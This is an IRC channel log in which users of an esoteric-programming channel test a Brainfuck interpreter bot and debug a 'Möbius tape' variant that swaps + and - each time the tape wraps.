kinda nice < 1395605430 586793 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :well, as long as that cell is within the first 256 < 1395605449 675549 :password2!~password@197.78.133.76 PRIVMSG #esoteric :jip < 1395605495 900228 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :don't see any point in limiting the value of bf cells < 1395605541 45930 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :well, the original bf was just a description what the implementation did < 1395605574 732065 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :and because many programs rely on the wraparound, it is usually implemented so < 1395605612 993116 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :but nothing stops anyone from making a bigint brainfuck. actually, I think the original turing completeness proof used a variation with bigint cells < 1395605617 125702 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :+bfreset:+bf:+[+]:+bfdump < 1395605617 671174 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 767 cycles < 1395605623 642352 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :+bfdump < 1395605635 755697 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :+bfdump: < 1395605636 191143 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|1| < 1395605643 635289 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :fascinating. < 1395605651 600593 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i do think the +bfdump was it < 1395605664 313324 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :+bfreset:+bf:+[+]:+bfdump: < 1395605671 157810 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 767 cycles < 1395605671 368131 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|1| < 1395605678 430414 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :hooray < 1395605687 609576 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfreset:+bf:+[+] < 1395605690 532210 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 766 cycles < 1395605693 883099 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump < 1395605695 446321 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfdump: < 1395605697 89906 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395605698 414815 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :see < 1395605706 38811 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :the parsing is a bit broken < 1395605711 473066 :password2!~password@197.78.133.76 PRIVMSG #esoteric :jip < 1395605761 755916 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfreset:+bf: is the only combo i made sure to work < 1395605762 580781 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 0 cycles < 1395605771 919223 :password2!~password@197.78.133.76 PRIVMSG #esoteric ::P < 1395605785 336408 :password2!~password@197.78.133.76 PRIVMSG #esoteric :mmm , i have an idea < 1395605923 312361 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :yes? < 1395605967 280642 :password2!~password@197.78.133.76 PRIVMSG #esoteric :gonna add flags for auton dumping and auto resetting of tape < 1395606029 802502 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i'd make them default < 1395606048 923429 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :most of the time, you are more interested starting in a new tape rather than working on an existing one < 1395606060 871992 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ah,ok < 1395606069 267034 :password2!~password@197.78.133.76 PRIVMSG #esoteric :default with option to turn off < 1395606213 772175 :passwordBOT!~passwordB@197.78.133.76 QUIT :Quit: Good < 1395606232 452042 :passwordBOT!~passwordB@197.78.133.76 JOIN :#esoteric < 1395606248 147165 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:(-) < 1395606249 332133 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395606255 923323 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:+ < 1395606258 479085 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 1 cycles < 1395606258 697618 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|1| < 1395606269 876971 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :intense < 1395606275 149298 :password2!~password@197.78.133.76 PRIVMSG #esoteric :yes < 1395606276 247859 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wow < 1395606277 976922 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :much bf < 1395606314 915830 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:+(+) < 1395606316 392717 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 2 cycles < 1395606316 611416 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|1| < 1395606327 375148 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:+(+}) < 1395606331 736614 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 2 cycles < 1395606331 944523 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|1| < 1395606354 697747 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :shouldn't +(+) result in 1 |0|? < 1395606357 775475 :password2!~password@197.78.133.76 PRIVMSG #esoteric :mmm < 1395606371 872916 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:++ < 1395606372 837995 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 2 cycles < 1395606373 42424 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|2| < 1395606386 882383 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :+bf:>>>>+ < 1395606392 706774 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 5 cycles < 1395606392 920200 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :0 0 0 0 |1| < 1395606409 879402 :password2!~password@197.78.133.76 PRIVMSG #esoteric :should be |2| imo < 1395606410 570736 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bf:>>>>+<<<<+(+) < 1395606413 727219 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 11 cycles < 1395606413 945674 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|1| 0 0 0 1 < 1395606422 918763 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:(+) < 1395606423 857635 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 1 cycles < 1395606424 82486 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395606425 842575 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah < 1395606430 540497 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bf:>>>>+<<<+<+(+) < 1395606433 542218 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 14 cycles < 1395606433 757280 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|2| 1 0 0 1 < 1395606441 281942 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :+bf:<+ < 1395606441 497209 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what < 1395606442 326753 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 2 cycles < 1395606442 534436 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395606446 679454 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah < 1395606479 372354 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :+bf:+[<]. < 1395606483 208195 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 8 cycles < 1395606483 428835 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Output is: < 1395606483 429005 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :1 < 1395606550 570635 :password2!~password@197.78.133.76 PRIVMSG #esoteric :mm , i should make 'Done' anouncement optional too < 1395606654 254809 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf:<+[[-]<+] < 1395606655 886316 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 3 cycles < 1395606656 122007 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395606689 534833 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf:+[>+] < 1395606694 939850 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfdump: < 1395606695 357107 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 260105 cycles < 1395606695 553818 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395606695 754251 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395606717 561502 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :a tape that wraps around? < 1395606723 587196 :password2!~password@197.78.133.76 PRIVMSG #esoteric :yes < 1395606725 944238 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :looks like it < 1395606738 175673 :password2!~password@197.78.133.76 PRIVMSG #esoteric :the tape is actually much much longer though < 1395606746 312194 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ok , its 255 < 1395606775 368472 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :möbius tape, please < 1395606786 341042 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :how would that work? < 1395606793 636317 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :don't know yet < 1395606799 627979 :password2!~password@197.78.133.76 PRIVMSG #esoteric :go round twice? < 1395606800 833293 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but there is something inside tat < 1395606807 326086 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :and how would it be different from a circular? < 1395606815 941680 :password2!~password@197.78.133.76 PRIVMSG #esoteric :or invert numbers upon wrapping? < 1395606820 883331 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :password2: yeah < 1395606827 927560 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :hmm, or reverses the bits < 1395606837 947541 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the second half of the tape would be aliased to the first half but with cells transformed in some way < 1395606839 809122 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :nortti: maybe if you could have actions on both sides < 1395606949 958387 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf:<+ < 1395606955 35593 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfdump: < 1395606957 981129 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 2 cycles < 1395606958 201297 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395606958 418289 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :|0| < 1395606966 940706 :password2!~password@197.78.133.76 PRIVMSG #esoteric :sorry , i lag a bit < 1395606996 499321 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:++<<-- < 1395606997 189553 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :Done and it took 6 cycles < 1395606997 393631 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :2 < 1395607033 524356 :password2!~password@197.78.133.76 PRIVMSG #esoteric :pointer does wrap , but the display does not update right it seems < 1395607056 742455 :password2!~password@197.78.133.76 PRIVMSG #esoteric :it would be due that i only so 64ish first cells < 1395607066 441523 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf:+[->}+] < 1395607102 354437 :password2!~password@197.78.133.76 PRIVMSG #esoteric :brb < 1395607104 88053 :passwordBOT!~passwordB@197.78.133.76 QUIT :Remote host closed the connection < 1395607125 104753 :passwordBOT!~passwordB@197.78.133.76 JOIN :#esoteric < 1395607152 639332 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bf:+[->}+] < 1395607188 706682 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395607233 579269 :password2!~password@197.78.133.76 PRIVMSG #esoteric :+bfdump: < 1395607234 611985 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :255 < 1395607250 285398 :password2!~password@197.78.133.76 PRIVMSG #esoteric :ah , my network is to blame < 1395607250 500592 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :that took pretty long < 1395607264 432628 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :+bf:] < 1395607267 916891 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf:->>+[}->+] < 1395607269 510377 :password2!~password@197.78.133.76 PRIVMSG #esoteric :bfmemory[ 0 ] 255 bfmemory[ 171 ] 1 < 1395607276 55551 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfdump: < 1395607276 278035 :password2!~password@197.78.133.76 PRIVMSG #esoteric :that was the actual memory < 1395607277 885451 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yeah a mobius tape would be a tape where the polarity swaps every time you wrap < 1395607278 106719 :passwordBOT!~passwordB@197.78.133.76 PRIVMSG #esoteric :255 165 0 0 0 0 0 |1| < 1395607294 447576 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :because you're incrementing "from the other side"...aka decrementing < 1395607298 839434 :password2!~password@197.78.133.76 PRIVMSG #esoteric :so 254 become 1 and viceversa? < 1395607319 983644 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :numbers don't change < 1395607325 336003 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :just the meanings of + and - < 1395607339 434786 :password2!~password@197.78.133.76 PRIVMSG #esoteric :mmm , if i revamp code some more , then i'll be able to do it easily < 1395607424 458573 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395607434 540863 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quintopia: that makes sense < 1395607557 431608 :passwordBOT!~passwordB@197.78.133.76 QUIT :Ping timeout: 252 seconds < 1395607639 65147 :password2!~password@197.78.133.76 QUIT :Ping timeout: 240 seconds < 1395607774 394692 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395607775 429752 :password2!~password@197.78.154.136 JOIN :#esoteric < 1395607787 948487 :password2!~password@197.78.154.136 PRIVMSG #esoteric :sorry , had to reboot internet < 1395607799 721901 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:++ < 1395607814 33577 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395607820 874254 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:++ < 1395607821 715646 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|2| < 1395607822 242929 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :22:49 < password2> sorry , had to reboot internet <-- that wording suggests something else < 1395607834 529211 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf:<+ < 1395607837 156639 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfdump < 1395607837 364576 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395607854 542748 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfdump: is no longer required < 1395607855 119556 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :|0| < 1395607861 22859 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :oh, Ic séo < 1395607893 459738 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfset:annon < 1395607897 326818 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:+++>> < 1395607897 786166 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Done and it took 5 cycles < 1395607897 990392 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :3 0 |0| < 1395607901 1730 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfset:annon < 1395607903 968257 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfset:annoff < 1395607906 369562 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bf:+++>> < 1395607910 448570 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Done and it took 5 cycles < 1395607910 656369 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :3 0 |0| < 1395607970 836849 :password2!~password@197.78.154.136 PRIVMSG #esoteric :anyone wanna see a mobius version? < 1395607987 40845 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :I do < 1395608008 390331 :password2!~password@197.78.154.136 PRIVMSG #esoteric :kay , i'll code it up < 1395608061 497546 :password2!~password@197.78.154.136 PRIVMSG #esoteric :hopefully it wont take too long < 1395608134 438419 :password2!~password@197.78.154.136 PRIVMSG #esoteric :damn , my bf class is at 420 lines already < 1395608164 985932 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :um < 1395608172 346008 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :what language < 1395608180 120713 :password2!~password@197.78.154.136 PRIVMSG #esoteric :c++ < 1395608181 65647 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :password2, blaze it < 1395608195 681173 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :yeah i agree with taneb < 1395608265 159167 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok , have cloned the class < 1395608273 139838 :password2!~password@197.78.154.136 PRIVMSG #esoteric :no to do the inversions < 1395608303 440275 :password2!~password@197.78.154.136 PRIVMSG #esoteric :should it be that +- == -+ ; {} == }{ ? < 1395608387 585340 :password2!~password@197.78.154.136 PRIVMSG #esoteric :or how? < 1395608426 713745 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :+ and - swapped is enough < 1395608431 152642 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ok < 1395608514 786019 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :actually, i wonder what bf joust would be like on a mobius tape (w/ wrapping instead of suiciding). making the flags equally spaced in BOTH directions of course < 1395608583 390020 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quintopia: let's test < 1395608606 298130 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :http://virtuallyfun.superglobalmegacorp.com/?p=3910 < 1395608608 399705 :Bike_!~Glossina@wl-nat110.it.wsu.edu JOIN :#esoteric < 1395608613 576251 :passwordBOT!~passwordB@197.78.154.136 QUIT :Quit: Good < 1395608619 557127 :Bike_!~Glossina@wl-nat110.it.wsu.edu NICK :Bicyclidine < 1395608624 638401 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :myname: okay i'll let you write it. be sure to make it blindingly fast. < 1395608624 859633 :password2!~password@197.78.154.136 PRIVMSG #esoteric :should be done now < 1395608632 350395 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395608648 428171 :password2!~password@197.78.154.136 PRIVMSG #esoteric :instes of starting cmd with +bf , use +bfmob < 1395608679 689594 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmob:+[+>] < 1395608680 415996 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395608693 994211 :password2!~password@197.78.154.136 PRIVMSG #esoteric :mmm < 1395608703 569476 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfmob:+[>+] < 1395608704 233641 :password2!~password@197.78.154.136 PRIVMSG #esoteric :lol < 1395608706 900477 :password2!~password@197.78.154.136 PRIVMSG #esoteric :hang on < 1395608728 141079 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :+bfmob:-[>+]+[>-] < 1395608746 580444 :password2!~password@197.78.154.136 PRIVMSG #esoteric :fogot to make an object of the class < 1395608752 379291 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :oh wait that wouldn't work anyway < 1395608804 61633 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quintopia: like, written in assembly? < 1395608841 556047 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395608861 5757 :password2!~password@197.78.154.136 PRIVMSG #esoteric :lets try again < 1395608864 338442 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395608868 38048 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmob:+[+>] < 1395608868 498305 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :myname: the current fastest bfjoust interpreter is in C. if you can beat gearlance, it's fast enough :D < 1395608877 552691 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmoddump: < 1395608889 563709 :password2!~password@197.78.154.136 PRIVMSG #esoteric :oh , signals , sigh < 1395608904 550522 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :+bfmob:+[>+]-[>-] < 1395608913 349999 :password2!~password@197.78.154.136 PRIVMSG #esoteric :it runs , here < 1395608918 483826 :password2!~password@197.78.154.136 PRIVMSG #esoteric :dumping < 1395608918 690286 :password2!~password@197.78.154.136 PRIVMSG #esoteric :"255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 " < 1395608927 162324 :password2!~password@197.78.154.136 PRIVMSG #esoteric :but it cannot yet respond < 1395608936 261634 :nisstyre_!~yourstrul@oftn/member/Nisstyre JOIN :#esoteric < 1395608949 440433 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395608959 980406 :password2!~password@197.78.154.136 PRIVMSG #esoteric :everything should now work < 1395608965 388817 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395608971 417435 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :famous last words < 1395608977 824875 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :+bfmob:+[>+]-[>-] < 1395609003 332161 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmoddump: < 1395609017 801990 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmobdump: < 1395609018 910019 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395609028 406999 :password2!~password@197.78.154.136 PRIVMSG #esoteric :there we go < 1395609048 872002 :elliott!~elliott@unaffiliated/elliott TOPIC #esoteric :a variety of colorful fish, but the darkness of no HackEgo | PSA: fizzie is running the wiki now, contact him for any problems | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/ < 1395609053 481063 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmobset:annon < 1395609078 639144 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmob:+[>+]-[>-] < 1395609088 231987 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :Done and it took 524289 cycles < 1395609088 441799 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395609097 608713 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :that's not the result i expect < 1395609104 895439 :password2!~password@197.78.154.136 PRIVMSG #esoteric :in inf loops it seems < 1395609114 530354 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :seems wrong < 1395609126 883164 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :fix it < 1395609134 851414 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :elliott: the end of an era. < 1395609164 76373 :elliott!~elliott@unaffiliated/elliott PRIVMSG #esoteric :it was only two years < 1395609174 772595 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :not every era is geologic! < 1395609191 31691 :password2!~password@197.78.154.136 PRIVMSG #esoteric :quintopia, if you can say what the exact error is , sure < 1395609220 100861 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :password2: the output should be 0 2 2 2 2 2 2 2 2 2 2 2 2 2 ... < 1395609355 170857 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quintopia: huh? < 1395609368 148660 :password2!~password@197.78.154.136 PRIVMSG #esoteric :ah < 1395609379 29663 :password2!~password@197.78.154.136 PRIVMSG #esoteric :maybe your right < 1395609386 279203 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+[>+] should be 0 255 255 255 ...? < 1395609405 347156 :passwordBOT!~passwordB@197.78.154.136 QUIT :Remote host closed the connection < 1395609421 394303 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i started in the swapped state < 1395609429 894730 :passwordBOT!~passwordB@197.78.154.136 JOIN :#esoteric < 1395609431 530475 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol < 1395609431 739752 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ACTION wonders which bf dialect that is ... < 1395609445 815868 :password2!~password@197.78.154.136 PRIVMSG #esoteric :int-e, a mobius one < 1395609449 717256 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :int-e: bf on a möbius stripe, obviously < 1395609468 22660 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmob:+[>+]-[>-] < 1395609477 714692 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I didn't pay attention, and "mob" is a word on its own. < 1395609510 534719 :password2!~password@197.78.154.136 PRIVMSG #esoteric :o , almost different result < 1395609511 932950 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(which makes it sound like a multithreaded variant) < 1395609516 601962 :password2!~password@197.78.154.136 PRIVMSG #esoteric :+bfmobdump: < 1395609517 66602 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :1 255 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 254 < 1395609529 373249 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :if i make a flash clone that works on a mäbios stripe, will it be flash mob? < 1395609537 494186 :Bicyclidine!~Glossina@wl-nat110.it.wsu.edu PRIVMSG #esoteric :No. < 1395609552 952732 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :myname: no you'll just be insane < 1395609565 325779 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quintopia: the problem being what? < 1395609576 42811 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :writing a flash clone < 1395609588 673475 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :well, yeah < 1395609595 401436 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but being insane shouldn't < 1395609649 694010 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :password2: looks wrong < 1395609668 933373 :password2!~password@197.78.154.136 PRIVMSG #esoteric :but i cant see any errors this side < 1395609673 424805 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+[>+] makes 257 + operations, the last being swapped < 1395609683 56541 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :which results in |0| 1 1 1 ... < 1395609693 622907 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfmob:+[>+] < 1395609695 297814 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395609703 568806 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :he's starting with + and - swapped < 1395609709 458777 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :and swapping polarity too late < 1395609714 921750 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bfmob:-[>-] < 1395609720 524689 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i already fixed that < 1395609727 1661 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395609748 685383 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :+bfmob:+[>+] < 1395609754 215828 :passwordBOT!~passwordB@197.78.154.136 PRIVMSG #esoteric :1 |0| 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 255 < 1395609764 65388 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i think I'll shrink the mem size a bit first < 1395609775 357005 :password2!~password@197.78.154.136 PRIVMSG #esoteric :until i can figure out what is wrong < 1395609796 610982 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but you agree that +[>+] should result in |0| 1 1 1 ...? < 1395609820 799444 :password2!~password@197.78.154.136 PRIVMSG #esoteric :i dont know what it should do < 1395609836 27346 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :do you swap the polarity of +/- operations or do you actually negate the values? < 1395609839 281912 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :well, it should just + until the end of the tape < 1395609848 613242 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :wrap around < 1395609854 18976 